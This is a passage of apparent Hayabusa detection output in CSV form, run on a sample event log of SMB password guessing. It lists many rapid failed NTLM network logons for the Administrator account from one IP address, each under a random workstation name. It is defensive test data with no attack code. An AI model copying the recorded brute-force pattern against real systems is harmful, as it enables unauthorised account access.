NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2YcMYQ4sA2GfMwCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YL1iM6WUtZIjIoTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7ruxdEGdeP3RLqF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZFXBpUJzafGYIggt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MC1K9nNLupH0NuSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6rVfBLm10US9II19 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SBhAVHHtR7lZ1C3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FKuUH8lMELYHibxF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UytgJLBtGRMCf3ar : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yno9399gUI2oBr4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbsqE98qy27Sp0UJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c8RjXtDnXvCXSJ2w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EdRXJJ1RCl8n9bd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8tnwGNp2ncfcBlFL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iGKEloPpd6CtrSlg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LBvHz5iKl0dl97xj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0FPIXCc5FlKMLaL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c7Li2NqHgSIetZka : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MuIRFiXBUqrJeMbx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zxJNU05FkPwhcYxj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TWifHaaBiypAGkKi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9VByeO8vHGSOJK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ns12T94itDDRxYxC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8jplFaHgwrWpFY8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fQ9L626fGZQkNC25 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HfplQ16d7lsObzki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c30ILHx5sYZCMflg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GMsJKiYmbgbr9wF0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q2hpQI6z68MVBzoW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iDgzJjXBnWDSVjdg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0XU5HdsnM0Lvpvq2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pjmtkv6JDb4s2WnR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6mBM2WMWlKkQHZl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3jo7coI8uS8JCorc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.406 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1ao6QcPI3nzpNnHi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WkP8vstCEOH9wnUW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QzrhcYEue85zhZ8V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.531 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ivpdjGaxoZOCTxbq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIsZXHE4Swkbytiu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bdT2bVjtEd6KhQWf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RT9Tqp0lf0dd6h9C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xwhlrl2ck1o2qTDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lxX2762Fa804981t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O55rRqTo9vgwnYoq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zo7BzxXZDdykOXoZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6YGEMcvYtwNJys39 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V0xq8et2LwWSgVgk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 43EK0cGlZBhWRd5B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UBoGMdTjWVVVvifn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.038 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IcCrPXp3VLObGU6v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zhZguuPimqAruiTu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o6amdSWFFbueCyp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W0wRaNXdhMlIY1HX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J8jqrrwWeKZGypW0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8LIavw2zakOP4DqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qz7gr4vA633waQ01 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2TmHz5POLSNJHm2x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DcpOxhy2nnLIEGHT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gJxfDgfujy5Um2wa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 217VTq8EbYIDeSXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WPfE1m0tsJAJnRt9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OQCfGhvBMSq3PIoa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XBl6JIRetWEnjaVx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KXJMNnj4LeBIYARt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v3sdn9f4xtvcsaHp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DWT0NepMYD29cOwh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DDb7wV6uzj1tat2d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RBcmANUL4a6DFobS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VL2swHF9MtnCfnp3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0ZkcAD0IakqSUph : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5HgksdIGukmliZeE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xYoLckmmOWCSf4Q2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PTxr8Zkz2y2XwBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J3caypkIM2XqoSSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yuQOUzJ6sU5AhARR : IP Address: 192.168.198.149 : AuthPackage: 